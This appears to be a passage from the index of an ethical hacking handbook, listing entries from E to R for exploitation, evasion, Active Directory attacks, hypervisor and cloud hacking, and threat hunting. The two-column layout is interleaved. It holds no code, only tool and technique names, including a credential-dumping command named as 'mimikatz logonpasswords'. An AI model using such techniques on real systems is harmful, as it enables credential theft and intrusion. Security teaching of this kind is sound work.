encryption for network evasion, 147 ethics in gray hat hacking, 5
end of message (EOM) MSRs in Hyper-V, 528 Ettercap tool, 436–440
endpoint addresses in USB packets, 543 ETW (Event Tracing for Windows)
endpoint detection and response (EDR), events, 145
149–150 EtwEventWrite function, 145–146
endpoints event IDs in data-driven hunts, 180
finding, 627 Event Tracing for Windows (ETW)
USB, 542 events, 145
energy industry, IoT things for, 394 Evil-WinRM tool, 338–341
Enhanced Host Controller Interface (EHCI) except_handler function, 272
controller, 547–548 exception handling
Enter-PSSession cmdlet, 366 fuzzing, 513–514
Entropy Legend sidebar in Ghidra Windows programs, 257, 270–272
Code Browser, 77 EXCEPTION_REGISTRATION structure,
EnumDeviceDrivers function, 299 270–271
environment/arguments section in memory, exec command in Docker, 615
33–34 Execute phase in SCRAPE process, 464
environment setup execution policies in PowerShell, 308–309
AWS, 571 Exfiltration folder in PowerSploit, 314
Docker, 615 expand tool for patches, 381
embedded device vulnerability analysis, 436 exploit command
Hyper-V, 517–519 Metasploit, 130
Linux containers, 604–605 payload obfuscation, 139
Linux kernel exploits, 233–234 exploitation phase in Cyber Kill Chain, 12
vulnerable program, 219–220 Exports tab in IDA Pro, 96
EOM (end of message) MSRs in Hyper-V, 528 Extended Base Pointer (EBP)
epilogs for function, 201 stack operations, 200–201
_EPROCESS structure, 296–297, 299–301 Windows exploitation, 279–280
EPT pointer (EPTP), 482–483 Windows programs, 256
EPTs (Extended Page Tables), 482–483 Extended Instruction Pointer (EIP)
equivalence property for virtual machines, 471 buffer overflows, 202–206
escalate_privileges function, 238, 242 controlling, 212–214
escalation of privileges offsets, 264
Active Directory recon, 359 stack operations, 200–201
description, 16 Windows programs, 257
Index
649
Extended Page Tables (EPTs), 482–483 full vendor disclosure, 7
Extended Stack Pointer (ESP) function addresses in USB packets, 543
offsets, 264 Function Analyzer in Ghidra, 74
stack operations, 200–201 function-calling procedures in stack
Windows programs, 256 operations, 199–201
external symbols in IDA Pro, 93 functionality in Ghidra, 72–73
functions
F C language, 22–23
f-maps for hardware virtualizer, 473 finding pointers to, 559–560
failure condition in PowerShell, 307–309 IDA Pro, 93–94, 98
fast hypercalls in Hyper-V, 529–530 kernel drivers, 283
fast (re)booting in unikernel, 489 fuzzing
fat applications in penetration testing, 115 base class, 509–510
faults, VM, 472–473 exception handling, 513–514
federated tenants in Azure, 595 IO-Ports, 510–511
FFI (Foreign Function Interface) bindings, 293 MSR fuzzer, 511–513
fgets() function, 370 research frameworks, 508–515
files tips and improvements, 514–515
assembly language, 41
AWS storage, 570–571 G
Python, 51–52 g_free function, 559
Find-InterestingDomainAcl cmdlet, 361 g_spawn_command_line_async function,
findpeersh function, 216 559–561
fingerprint option in Responder, 329 gadgets
fingerprinting API Servers, 625–626, 628–630 one-gadgets, 62–63
FirmAE tool, 440–445 ROP, 222
firmware emulation, 441–445 Ropper Console, 242–243
first chance exceptions in SMAP bypass, 244–245
Windows programs, 257 Windows exploitation, 274–278
Flake, Halvar, 372 gcc compiler, 30–31
flip_bits method, 513 gdb debugger
flow arrows in Ghidra Code Browser, 76 basics, 42–45
flow graphs in Ghidra, 79 buffer overflows, 203–206, 211–213,
for loops in C language, 27–28 216–217
Foreign Function Interface (FFI) bindings, 293 extension, 64
format strings for C print command, 24–25 function pointers, 559–560
free() function, 33 IDA Pro, 103–104
frequency IRQState, 561
SCRAPE process, 455 Linux kernel exploits, 235
SDR, 448 Linux vulnerable program setup, 220–223
FromBase64String function, 319 segmentation faults, 202
full address-space leak primitive in hypervisor gdbserver command, 105
case study, 556–558 Geiger, Jaime, 381, 383
Full Disclosure mailing list, 8 general operating systems for embedded
full duplex in SDR, 448 devices, 423
full outer joins, 191 General Options in IDA Pro, 100
full public disclosure, 8 General Registers in IDA Pro, 104, 107
Gray Hat Hacking: The Ethical Hacker’s Handbook
650
general registers in Intel processors, 36 goal-oriented penetration testing, 114
Generation-1 VMs, scanning devices in, Goldberg, Robert P., 470
522–523 Goldberg’s hardware virtualizer, 472–474
Generation-2 VMs, scanning devices in, Golden Tickets
523–524 creating, 119
Gerstenkorn, Ryan, 580 Kerberos, 345, 363–364
Get-ChildItem cmdlet, 348 GOTs (Global Offset Tables), 57, 229
GET command gpa_range function, 535
network evasion, 148–149 gpa_range_size function, 535
ProSSHD server exploitation, 259 GPADLs (Guest Physical Address Descriptor
unikernel communication, 494 Lists), 534–537
Get-ComputerInfo cmdlet, 349–350 GPAs. See guest physical addresses (GPAs)
Get-DomainObjectAcl cmdlet, 355 GPFNs (guest page frame numbers),
get_kernel_base function, 300 534–535, 537
Get-LocalUser command, 339 Grand, Joe, 412
GetDeviceDriverBaseNameA function, 299 Graph Overview window in IDA Pro, 94
getEC2WinCreds.py script, 580 graphs
getpid command, 142 Ghidra, 78–79
GetProcAddress function, 300 IDA Pro, 95
GetProcessHeap function, 91 gray hat hacking overview
gets() function, 370 black hat hacking, 11–17
getuid command, 130 bug bounty programs, 10
ghh_read function, 235 definition, 5–6
ghh_seek function, 244 ethical hacking history, 6–9
ghh_write function, 235 ethics, 5
Ghidra tool history, 3–5
binary diffing and patch analysis, 83–87 introduction, 3
Code Browser, 74–77 readings, 18
decompiler, 78 references, 18–20
functionality, 72–73 summary, 17
graphs, 78–79 greeting() function, 255–256, 258
installing, 72 Group groups, 346
introduction, 71 groups in Active Directory, 345–346
program analysis, 73–74 Grunts in Covenant, 132–135
program annotations, 78 /GS switch for Windows compiler, 252
project workspace, 72 GsDriverEntry for Windows kernel drivers, 287
readability, 80–83 GuardDuty
readings, 88 AWS, 574
references, 88 RedBoto, 576
search, 77 guest OS identity MSRs, 524
summary, 87 guest page frame numbers (GPFNs),
vulnerabilities analysis, 432–435 534–535, 537
global namespace in Windows kernel, 293 Guest Physical Address Descriptor Lists
Global Offset Tables (GOTs), 57, 229 (GPADLs), 534–537
globally unique identifiers (GUIDs), 521 guest physical addresses (GPAs)
GNU Radio Companion tool, 451–452 EPTs, 482
go launchers, 142–144 hypercalls, 529–530
Index
651
shadow paging, 477–479 hubs, USB, 542
VMBus, 532, 534–536 HV_MESSAGE structure, 527
x86 virtualization, 477–478 HvCallCreatePort method, 526, 528
guest state in VMCS, 481 HvCallEnablePartitionVtl method, 521
guest virtual addresses (GVAs) HvCallEnableVpVtl method, 521
EPTs, 482–483 HvCallFlushVirtualAddressList hypercall, 530
x86 virtualization, 478 HvCallFlushVirtualAddressSpace hypercall, 530
guests in research framework clients, 504–506 HvCallPostMessage method, 527, 532,
GUIDs (globally unique identifiers), 521 535–536
GVAs (guest virtual addresses) HvCallSignalEvent method, 528, 537
EPTs, 482–483 HvCallVtlCall method, 522, 525
x86 virtualization, 478 HvCallVtlReturn method, 522, 525
HVCI (Hypervisor-protected
H Code Integrity), 521
HAL (Hardware Abstraction Layer), 282 hybrid virtual machines (HVMs), 471–472
half duplex in SDR, 448 Hyper-V hypervisor
Ham It Up Nano add-on, 448 architecture, 519
handler tool in Metasploit, 130 components, 519–521
handling environment setup, 517–519
exceptions, 257, 270–272, 513–514 Generation-1 VMs, 522–523
unikernel requests, 499–500 Generation-2 VMs, 523–524
handshakes for USB packets, 543 hypercalls, 528–531
Hardware Abstraction Layer (HAL), 282 introduction, 517
hardware assisted virtualization readings, 538–539
EPT, 482–483 references, 539
introduction, 480 summary, 538
VMX, 480–482 synthetic interface, 524–531
hardware for vulnerabilities analysis, Virtual Trust Levels, 521–522
436–440 VMBus, 532–538
hardware virtualizer, 472–474 worker processes, 519–521
hashes, capturing, 325–331 hypercall page MSRs, 524–525
Heap Made Easy (HeapME) tool, 67–69 hypercalls in Hyper-V, 528–531
heap section in memory, 33 hyperv_guest.py script, 518
HeapAlloc function, 91–92, 96–97 hypervisor case study
HELK threat hunting lab, 161–163 arbitrary reads, 555–556
help command in Metasploit, 130 EHCI controller, 547–548
Hex Dump section in Immunity Debugger, 253 exploit launching, 562
honeyscores, 401 full address-space leak primitive, 556–558
hooks in EDR evasion, 150 function pointers, 559–560
host state area in VMCS, 481 introduction, 541
hosts IRQState, 561
DetectionLab installation on, 155–157 module base leak, 558
recon, 344 readings, 563
USB, 542 references, 563
hotkeys in IDA Pro, 100–101 relative read primitive, 553–555
HTTP in network evasion, 148–149 relative write primitive, 552–553
Gray Hat Hacking: The Ethical Hacker’s Handbook
652
hypervisor case study (cont.) if/else construct in C language, 28–29
ret2lib technique, 559–560 IMDS (Identity Metadata Service), 574
summary, 562 immediate addressing mode, 40
trigger development, 546–552 Immunity Debugger
USB basics, 542–546 attack vectors, 264–265
Hypervisor-protected Code Integrity offsets, 262–264
(HVCI), 521 Windows programs, 252–259
hypervisors Impacket script, 334
attack surfaces, 487–489 impact ratings in penetration test reports,
description, 469–470 117–118
dynamic binary translation, 476 import_keys command, 578
Goldberg’s hardware virtualizer, 472–474 Imports tab in IDA Pro, 96
hardware assisted virtualization, 480–483 inc command, 39
Hyper-V. See Hyper-V hypervisor incentives in bug bounty programs, 10
paravirtualization, 479–480 indentation in Python, 52
Popek and Goldberg virtualization independent living, IoT things for, 394
theorems, 470–472 index patterns
references, 484–485 hypothesis-driven hunts, 187
ring compression, 476–477 Kibana, 165–166
summary, 483 indexed relative addressing mode, 40
types, 474–475 indicators of compromise (IOCs), 119
x86 virtualization, 475–480 industrial control systems (ICS), IoT things
hypothesis-driven hunts for, 399
exploring, 183–186 info functions command, 45
overview, 174–175 information-gathering tools in Linux,
55–64
I information leaks
I/O Request Packet (IRP) in kernel drivers, 283 ASLR bypassing, 228–230
I2C (Inter-Integrated-Circuit), 417 PIE bypassing, 230–232
IAM (Identity and Access Management) Information section in Immunity
service, 569 Debugger, 253
iconv function, 310 infrastructure, AWS, 568
ICS (industrial control systems), IoT things inheritance in Azure, 586
for, 399 initramfs.cpio file, 233
ICs (integrated circuits), 409 injectCreateRemoteThread function, 146
ICs (Integration Components), 520–521 inner joins in queries, 191
IDA Pro. See Interactive Disassembler (IDA) Pro innocuous CPU instructions, 470–471
identities in Azure, 598–600 Inspectrum analyzer for SCRAPE process,
Identity and Access Management (IAM) 456–457, 463
service, 569 install_idt method, 514
Identity Metadata Service (IMDS), 574 installing
identity providers (IdPs), 591–592, 595 Cyber Kill Chain, 12–13
IDS/IPS evasion, 147 DetectionLab in cloud, 157–160
IDTR registers, 475 DetectionLab on host, 155–157
IDTs (Interrupt Descriptor Tables), 526 Ghidra, 72
fuzzers, 514 HELK, 161–163
x86 virtualization, 475 winlogbeat, 163–164
Index
653
instance metadata in AWS, 573 Interrupt Descriptor Table (IDTs), 526
instruction pointer in Windows exploitation, fuzzers, 514
260–262 x86 virtualization, 475
int instruction, 40 Interrupt Return (iretq) instruction, 238, 242
integrated circuits (ICs), 409 Invoke-AtomicTest tool, 183–186
Integration Components (ICs), 520–521 Invoke-Binary command, 340–341
Intel-driven hunts, 174 Invoke-Expression cmdlet, 311, 339
Intel processors, 36–37 Invoke-Mimikatz.ps1 script, 315
Inter-Integrated-Circuit (I2C), 417 Invoke-Seatbelt module, 347
Interactive Disassembler (IDA) Pro Invoke-WebRequest cmdlet, 311, 339, 599
comments, 102 IO-Ports fuzzer, 510–511
cross-references, 96–97 _IO_STACK_LOCATION structure, 283,
debugging, 102–107 289–290
disassembly overview, 90–92 IoCreateDevice function, 288
features and functionality overview, 96 IoCreateSymbolicLink function, 288
function calls, 98 IOCs (indicators of compromise), 119
introduction, 89 ioctl function, 298
navigating, 92–96 IoT. See Internet of Things (IoT)
opcodes and addressing, 100 iov_from_buf function, 551
proximity viewer, 99–100 IPC$ share in Winexe, 332
readings, 107 ipython3 for SCRAPE process, 460
references, 107 IRP (I/O Request Packet) in kernel drivers, 283
reverse engineering, 89 _IRP_MJ_DEVICE_CONTROL structure,
shortcuts, 100–101 283, 289
summary, 107 IRP_MJ_ functions, 288
InternalAddPrinterDriverEx function, 388 IRQState, finding, 561
Internet of Things (IoT)
communication protocols, 395 J
embedded devices. See embedded devices jitter in Command and Control, 128
introduction, 393 John the Ripper tool, 331, 360–361
MQTT, 402–404 joins in queries, 190–191
readings, 406 Joint Test Action Group (JTAG), 418–420
references, 406–407 jq tool, 544–546
security concerns, 396 JSON
Shodan API, 401–402 Azure, 592–593, 595
Shodan command-line interface, jq tool, 544–545
400–401 JSON Web Tokens (JWTs)
Shodan search engine, 396 Azure, 599
summary, 405 Kubernetes, 633
types, 394 JTAG (Joint Test Action Group), 418–420
web interface, 397–400 JTAGulator tool, 412–413
wireless protocols, 394–395 jump commands, 39
worms, 404–405 JumpOpXref hotkey in IDA Pro, 98
Internet Protocol version 6 (IPv6) Jupyter for threat hunting, 190–193
over Low-power Wireless Personal JWTs (JSON Web Tokens)
Area Networks (6LoWPAN), 395 Azure, 599
interpreters for VMMs, 470 Kubernetes, 633
Gray Hat Hacking: The Ethical Hacker’s Handbook
654
K readings, 639
references, 639
kafkacat tool, 169
summary, 639
Kali, Python for, 45
Kubestriker tool, 631–633
KASLR (Kernel Address Space Layout
Randomization), 246–248 L
Kerberoasting, 360–361
Kerberos L0pht group, 5
credential gathering, 360–361 Lambda functions in AWS, 582
privilege escalation, 361–364 LAN Manager (LM), 326–327
kernel launchers
Linux. See Linux kernel exploits C#, 141–142
Windows. See Windows kernel exploits go, 142–144
Kernel Address Space Layout Randomization Nim, 144–147
(KASLR), 246–248 ldd tool, 56
kernel-land debuggers, 284 lea command, 39–40
kernel-mode code signing (KMCS), 283 leak-bof.c sample, 65–67
Kernel Page-Table Isolation (KPTI) leak_bytes function, 230
bypassing, 241–243 leak_module_base function, 558–559
x86 virtualization, 477 leak_multiple function, 558
keys and key material in AWS, 572–575 leave statement in stack operations, 201
Kibana, 164 left joins in queries, 191
AtomicRedTeam attacker emulation, 182 libc-database, 61
index patterns, 165–166 libraries
queries, 166–167 IDA Pro, 93
KMCS (kernel-mode code signing), 283 Linux, 56, 64–67
KoreLogic ruleset, 331 Linares, Greg, 381
Koret, Joxean, 371 Link Local Multicast Name Resolution
_KPROCESS structure, 296 (LLMNR)
KPTI (Kernel Page-Table Isolation) overview, 325–326
bypassing, 241–243 poisoning, 119, 330
x86 virtualization, 477 linking C language, 30
Krebs, Brian, 404 Linux containers
Kube-proxy component, 624 cgroups, 604–607
kubectl exec command, 633 environment setup, 604–605
kubectl get pods command, 634 internals, 604
kubectl get svc command, 637 namespaces, 607–608
Kubelet component, 624 overview, 603–604
Kubernetes storage, 608–611
API Servers, attacking, 636–638 Linux exploit development tools
API Servers, finding, 627–628 HeapMe, 67–69
API Servers, fingerprinting, 625–626, information-gathering tools, 55–64
628–630 introduction, 55
architecture, 623–624 Pwntools, 64–67
attacks from within, 633–635 Python gdb extension, 64
hacking overview, 630–631 readings, 70
introduction, 623 references, 70
Kubestriker tool, 631–633 summary, 70
Index
655
Linux exploits LoadLibraryA function, 299–300
buffer overflows, local, 207–212 local buffer overflows
buffer overflows, overview, 201–206 command lines, 208–209
development process, 212–217 NOP sleds, 207
introduction, 199 Pwntools framework, 209–210
kernel. See Linux kernel exploits shellcode, 207–208
readings, 217 small buffers, 210–212
stack operations and function-calling local privilege escalation, 357–359
procedures, 199–201 locations in AWS, 568
summary, 217 Lockheed Martin Cyber Kill Chain, 11–14
vulnerable program, ASLR bypass, log providers for data-driven hunts, 180
228–230 logging in PowerShell, 306
vulnerable program, NX stack bypass, login sessions in WMI, 334–336
222–225 Long, Chris, 154
vulnerable program, PIE bypass, 230–232 loops in C language, 27–28
vulnerable program, readings, 232 ltrace utility, 59
vulnerable program, references, 232
vulnerable program, setup, 219–221 M
vulnerable program, stack canaries, MAC (media access control) addresses, 436
225–228 machine language
vulnerable program, summary, 232 vs. assembly language, 37
Linux kernel exploits disassembly, 90–92
gdb setup, 235–236 macOS, Python for, 45
KASLR, 246–248 main() function in C language, 22
readings, 248 major functions in kernel drivers, 283
references, 248 make deploy command, 582
ret2usr, 236–238 make_vector_handler method, 514
RIP overwriting, 236 malicious code, buffer overflows from, 206
setup, 233–234 malloc() function, 33
SMAP bypassing, 244–246 man-in-the-middle (MITM) attacks, 436
SMEP and KPTI bypassing, 241–243 managed identities in Azure, 598–600
stack canaries, 238–241 managed nodes in Kubernetes, 635
summary, 248 managed tenants in Azure, 594
listeners in Covenant, 132–134 management groups in Azure, 586
Listing window in Ghidra Code Browser, Mandatory Integrity Control (MIC) level,
75–77 320–321
lists in Python, 49–50 manufacturing, IoT things for, 394
little-endian memory order, 32 Martinez, Ramses, 10
LLMNR (Link Local Multicast Mayhem folder in PowerSploit, 314
Name Resolution) MBI (multiboot info) area for unikernel
overview, 325–326 messages, 498
poisoning, 119, 330 media access control (MAC) addresses, 436
LM (LAN Manager), 326–327 medical and healthcare, IoT things for, 394
loaded modules (DLLs) in Windows memcpy function
exploitation, 264–265 IDA Pro, 99
loadLib function, 146 Windows kernel drivers, 290
Gray Hat Hacking: The Ethical Hacker’s Handbook
656
memmove() function, 290–292, 294–296 Miller, Charlie, 9
memory Miller, Mark, 8
buffers, 34 Mimikatz
bypassing in Windows exploitation, detection engineering, 125
271–272 PowerShell for, 315–316
C language, 31–35 threat simulation and emulation,
DetectionLab, 156 119–120
endian, 32 WinRM, 321–322
kernel, 282 mimikatz logonpasswords command, 321
pointers, 34–35 MIPS architectures for embedded devices,
programs in, 32–34 410–411
random access memory, 31–32 Mirai worm, 405
sample program, 35 MITM (man-in-the-middle) attacks, 436
segmentation, 32 MITRE ATT&CK framework
stack operations, 199–201 Attack Navigator, 118
strings, 34 cyber threat emulation, 16–17
memory addresses in Ghidra Code Browser, 77 cyber threat intel, 15–16
Memory Management Units (MMUs), data-driven hunts, 177–180
477–479 hypothesis-driven hunts, 174–175
memory-mapped I/O (MMIO) introduction, 14–15
access in Hyper-V, 520 security engineering, 17
memory-mapped I/O (MMIO) tactics, 15–16
emulation in fuzzing, 514 threat hunting, 17
Message Queuing Telemetry Transport threat simulation and emulation, 120
(MQTT) services mmap function
playing with, 403–404 mapping randomization, 228
searching for, 402 SMAP bypass, 244–246
unauthenticated access, 404 MMIO (memory-mapped I/O)
messages method for research framework access in Hyper-V, 520
clients, 507 MMIO (memory-mapped I/O)
Metasploit framework emulation in fuzzing, 514
introduction, 128 MMUs (Memory Management Units),
payload obfuscation, 136–140 477–479
shell creation, 129–131 .model directive in assembly language, 41
Metcalf, Sean, 364 model-specific registers (MSRs)
Meterpreter fuzzer, 511–513
node backdoors, 600 synthetic, 524–528
payload creation, 129–130 module base leak in hypervisor case study, 558
payload obfuscation, 136–140 module logging in PowerShell, 306
MIC (Mandatory Integrity Control) mona.py plug-in, 262–265
level, 320–321 Monti, Eric, 310
microcontrollers for embedded devices, 410 Mordor datasets
microprocessors for embedded devices, 410 threat hunting, 186–190
Microsoft Online Services program, 10 threat hunting labs, 168–169
Microsoft Patch Tuesday, 379–380 mount command, 615
Microsoft Security TechCenter site, 379 mov command, 38
Index
657
MQTT (Message Queuing Telemetry Next SEH (NSEH) value in Structured
Transport) services Exception Handling, 271
playing with, 403–404 nibbles, memory, 31
searching for, 402 Nickels, Katie, 14
unauthenticated access, 404 Nim launchers, 144–147
MSDELTA API for patches, 383 No More Free Bugs sign, 9
msfvenom tool no operation (NOP) command sleds
payload creation, 129 exploit development, 215–216
payload obfuscation, 136–140 local buffer overflows, 207
MSOLSpray tool, 596 nodes, backdoors on, 600
MSRs (model-specific registers) non-executable stack (NX), bypassing,
fuzzer, 511–513 222–225
synthetic, 524–528 non-root mode in VMX, 480
MT enumeration, 493 nonces for hashes, 327
multiboot info (MBI) area for unikernel NOP (no operation) command sleds
messages, 498 exploit development, 215–216
multiboot_tag_mmap structure, 499 local buffer overflows, 207
multitasking OS kernel, 472–474 normalizing data sources, 175–176
multitenant environments in AWS, 567 NSEH (Next SEH) value in Structured
myAtoi program, 90–94 Exception Handling, 271
NT LAN Manager (NTLM), 326–327
N null_mut() function, 293
n-day exploits, 371 numbers in Python, 48–49
namespaces for Linux containers, 607–608 NX bit in Data Execution Prevention, 274
NASM (Netwide Assembler) assembly NX (non-executable stack), bypassing,
language, 37–40 222–225
native_write_cr4 function, 244
NBNS (NetBIOS Name Service), 325–326 O
Neo4j viewer, 356–357 o365spray tool, 596
nested virtualization, 471 obfuscation, payload, 136–140
net command, 120, 130 objdump tool
NetBIOS Name Service (NBNS), 325–326 disassembly, 56–57, 90
Netwide Assembler (NASM) assembly payload obfuscation, 138–139
language, 37–40 strings, 62–63
network evasion object code in C language, 30
alternate protocols, 147–148 objects in Python, 46–48
C2 templates, 148–149 OCI (Open Container Initiative), 604
encryption, 147 Offensive Nim repository, 145
network penetration testing, 115 offer requests for VMBus, 533–534
next-generation patch exploitation offset registers, 32, 36
binary diffing, 369–378 offsets
introduction, 369 EIP, 213–215
Microsoft Patch Tuesday, 379–380 Windows exploitation, 262–264
patch acquisition and extraction, 380–388 Oh, Jeong Wook, 371
readings, 390 on_boot method for fuzzing, 514
references, 390 on-off keying in SCRAPE process, 456
summary, 389–390 1-day exploits, 371
Gray Hat Hacking: The Ethical Hacker’s Handbook
658
one_gadget tool, 62–63 P
OOB (out-of-band) messages
PaaS (platform as a service), 603
debugging, 492
packets, USB, 543–544
unikernel communication, 494–497
PACU Framework, 576–578
OOBAssert message, 497
page frame numbers (PFNs), 478
OOBPRINT maco, 497
paging in x86 virtualization, 477–479
OOBType enumeration, 497
paramiko module, 261
op_commit method, 507
paravirtualization, 479–480
op_exec method, 507
partitions in Hyper-V, 519
op_write method, 507
PAs (physical addresses) in x86 virtualization,
opcodes in IDA Pro, 100
477–478
Open Container Initiative (OCI), 604
Pasknel, Victor, 404
open_dev function, 293, 299
pass-the-hash attacks, 327
Open Source Security Event Metadata
passing commands in PowerShell, 309–310
(OSSEM) project
passwords
data-driven hunts, 177–180
Azure, 590, 596–597
data source normalization, 175–176
hash capturing, 325–331
hypothesis-driven hunts, 186
PowerShell Empire, 321–322
OpenIDConnect, 589, 591, 594
user objects, 359–360
Operand Analyzer in Ghidra, 74
Patch Storage Files (PSFs), 381
operating frequency in SDR, 448
Patch Tuesday, 379–380
operating systems for embedded devices,
patchelf utility, 62
422–423
patches
OpExec operations in unikernel
Ghidra, 86–87
requests, 500
next-generation exploitation.
OpWrite operations in unikernel
See next-generation patch exploitation
requests, 500
USB, 544–546
Organizational Units (OUs), 352–355
PatchExtract tool, 381
OSSEM (Open Source Security Event
Patchntdll function, 145
Metadata) project
payload obfuscation, 136–140
data-driven hunts, 177–180
PCI devices, scanning, 522–524, 547
data source normalization, 175–176
PEBs (Process Environment Blocks), 271
hypothesis-driven hunts, 186
penetration testing
Ostrom, Jason, 587–588
application, 115
OUs (Organizational Units), 352–355
cloud, 116
out-of-band (OOB) messages
network, 115
debugging, 492
overview, 114
unikernel communication, 494–497
physical, 115–116
Output window in IDA Pro, 94–95
process, 116–117
overflow_build method, 553
permissions
overflows, buffer. See buffer overflows
AWS, 569–571, 577–578
Overlay2 file system, 608
Azure, 586, 591–593
OverlayFS file system, 608
buffer overflows, 206
Overview Legend sidebar, 77
persistence
OWASP Top 10, 6
Active Directory, 364–367
OwnTracks app, 404
AWS, 580–583
Index
659
Persistence directory in PowerSploit, 314 summary, 368
PFNs (page frame numbers), 478 system recon, 348–351
physical addresses (PAs) in x86 virtualization, user information, 346–348
477–478 POST requests in network evasion, 148–149
physical penetration testing, 115–116 PowerShell Empire, 131
PIDs in USB packets, 543, 550 C2 staging, 317–318
PIE (Position Independent Executable), introduction, 316
bypassing, 230–232 launching, 320–321
pipes for USB devices, 542 setting up, 316–317
pivots for containers, 616 threat simulation and emulation, 120
Plaa, Cornelis de, 150 PowerShell exploitation
platform as a service (PaaS), 603 bootstrapping, 311–313
PLTs (Procedure Linkage Tables), 57, 229 command-line commands, 309–310
pointers domain recon, 352–353
arbitrary read/writes, 297–298 encoded commands, 310–311
finding, 559–560 execution policies, 308–309
memory, 34–35 failure condition, 307–309
Pond, Weld, 5 logging, 306
pop command patch extraction, 381
assembly language, 38 portability, 307
ROP chains, 275 PowerShell Empire, 316–322
stack operations, 199 PowerSploit, 313–316
Popek, Gerald J., 470 readings, 323
Popek and Goldberg virtualization theorems, references, 323
470–472 script loading, 307
portability summary, 323
PowerShell, 307 system recon, 348–350
unikernel, 489 tools, 305–306
ports PowerShell launches in hypothesis-driven
Docker, 612–614 hunts, 186–188
EHCI controller, 560 PowerSploit
fuzzing, 510–511 domain recon, 354
Kubernetes, 627, 635 Mimikatz through, 315–316
Responder, 329 setting up, 313–314
serial, 412 PowerView for domain recon, 354–356
USB, 542 prepare_kernel_cred function, 238, 242
Position Independent Executable (PIE), Preview phase in SCRAPE process, 461–463
bypassing, 230–232 Prime Indoor Wireless Power
post-exploitation in modern Windows Outlet remote, 450
environments printf command
Active Directory persistence, 364–367 buffer overflows, 204–205
domain recon, 351–357 C language, 24–25
escalation, 357–364 PrintNightmare vulnerability, 383–384
host recon, 344–346 PrivEsc directory in PowerSploit, 314
overview, 343 Privilege Escalation Awesome Script
privilege identification, 344–346 (winPEAS) tool, 357–358
readings, 368 privileged CPU instructions, 470–471
Gray Hat Hacking: The Ethical Hacker’s Handbook
660
privileged pods for containers, 617–618 overview, 120–121
privileges readings, 126
escalating. See escalation of privileges references, 126
identifying, 344–346 skills, 123–124
Winexe, 333 summary, 126
Procedure Linkage Tables (PLTs), 57, 229 threat research, 124–125
procedure statements in C language, 22 PurpleCloud project, 587–588
Process Environment Blocks (PEBs), 271 push command
processors assembly language, 38
embedded devices, 410–411 stack operations, 199
Intel, 36–37 PUT command, 494
procfs module, 233–234 put_mbi function, 498–499
program annotations in Ghidra, 78 put_va function, 498
Program Trees in Ghidra Code Browser, 74 PV (proximity viewer) in IDA Pro, 99–100
programmatic access keys, 568–569, Pwn2Own competition, 10
572–575 Pwntools framework
programming survival skills ASLR bypassing, 230
assembly language, 37–42 exploit development, 214–216
C language. See C programming language features, 65–67
debugging, 42–45 function pointers, 560
Intel processors, 36–37 introduction, 64–65
memory, 31–35 local buffer overflows, 209–210
Python language. See Python programming PyBOMBS, 450–451
language PyCommand plug-in, 275–276
readings, 53–54 Pyramid of Pain, 123–124
references, 54 Python programming language
summary, 53 buffer overflows, 203–206
programs in computer memory, 32–34 dictionaries, 50
project window in Ghidra, 72–73 files, 51–52
project workspace in Ghidra, 72 introduction, 45
Project Zero, 9 lists, 49–50
prologs for function, 200–201 numbers, 48–49
ProSSHD server, exploiting, 258–260 objects, 46–48
protocols obtaining, 45–46
Internet of Things, 394–395 research framework clients, 500–508
network evasion, 147–148 sockets, 53
proximity viewer (PV) in IDA Pro, 99–100 strings, 46–48
proxy detection, evading, 147 pywinrm tool, 338
PSFs (Patch Storage Files), 381
PsInitialSystemProcess function, 300 Q
PTES standards, 117 QEMU for Linux kernel exploits, 233–234
pth-wmic client, 334 QH (Queue Head) elements in EHCI
ptrace command, 58 controller, 548
public disclosure, 8 quadruple words (QWORDs) in memory, 31
purple teams queries
activities, 124–125 joins, 190–191
detection engineering, 125 Kibana, 166–167
Index
661
Queue Head (QH) elements in register indirect addressing mode, 40
EHCI controller, 548 registers
QWORDs (quadruple words) in memory, 31 IDA Pro, 104
Immunity Debugger, 252–253
R Intel processors, 36–37
radio frequency (RF). See software-defined memory segmentation, 32
radio (SDR) regular comments in IDA Pro, 102
Rain Forest Puppy (consultant), 8 regular functions in IDA Pro, 93
random access memory (RAM), 31–32 relative_read function, 553–555, 557
Ranum, Marcus, 8 relative virtual addresses (RVAs) of symbols, 300
read_serial function, 492 relative_write function, 552–554, 557
readability of Ghidra, 80–83 Release To Manufacturing (RTM) version of
reads patches, 382–383
hypervisor case study, 555–556 Relocation Read Only (RELRO) exploit
pointer, 297–298 mitigation technique, 232
real-time operating system (RTOS) remote commands for containers, 614–615
for embedded devices, 423 remote system access in Winexe, 332–333
realloc() function, 33 RemoteMemory class for research framework
Reaper worm, 405 clients, 505–507
Recon directory in PowerSploit, 314 RemoteSigned execution policy for
reconnaissance PowerShell, 308
Cyber Kill Chain, 12 rep hypercalls, 530–531
domain, 351–357 repeatable comments in IDA Pro, 102
host, 344–346 Replay phase in SCRAPE process, 452–454
MITRE ATT&CK framework, 16 repo
modern Windows environments, GitHub, 128
344–346 PurpleCloud, 588
penetration testing, 117 reporting phase in penetration testing,
system, 348–351 117–118
recv_msg function, 496 requests
red teams unikernel, 499–500
consultant, 122 USB, 544
corporate, 121–122 VMBus, 533–534
introduction, 111–112 research for threats, 124–125
maturity model, 112 research frameworks
penetration testing, 114–117 clients, 500–508
readings, 126 fuzzing, 508–515
references, 126 hypervisor attack surfaces, 487–489
summary, 126 references, 515
threat simulation and emulation, summary, 515
118–120 unikernel, 489–500
vulnerability scanning, 112–113 resilience of unikernel, 489
RedBoto tools, 576–577 resource-control property for virtual
Redis package for containers, 616 machines, 471
references to Linux constant strings, 57–58 resource groups in Azure, 586
register addressing mode, 40 resource mappings for VMMs, 472–473
Gray Hat Hacking: The Ethical Hacker’s Handbook
662
Responder root file system (RFS) for embedded
obtaining, 327 devices, 428
password hash captures, 327–331 root hubs in USB, 542
running, 328–329 root mode in VMX, 480
responsible disclosure, 8–9 root partitions in Hyper-V, 519
Restricted execution policy for PowerShell, 308 rop command, 275
ret command, 39 ROP (return-oriented programming)
ret2lib technique, 559–560 ASLR bypass, 229–230
ret2libc technique, 275 NX stack bypass, 222–225
ret2usr (return-to-user) exploit, 236–238 Windows exploitation, 274–279
return-oriented programming (ROP) ROP tool, 230
ASLR bypass, 229–230 Ropper tool, 63–64
NX stack bypass, 222–225 rpath tool, 56
Windows exploitation, 274–279 RpcAddPrinterDriver function, 385–387
return-to-user (ret2usr) exploit, 236–238 RpcAddPrinterDriverEx function, 386–388
reverse engineering in IDA Pro, 89 RtlCopyMemory function, 144
reverse shells, 129 RtlDispatchException routine, 272
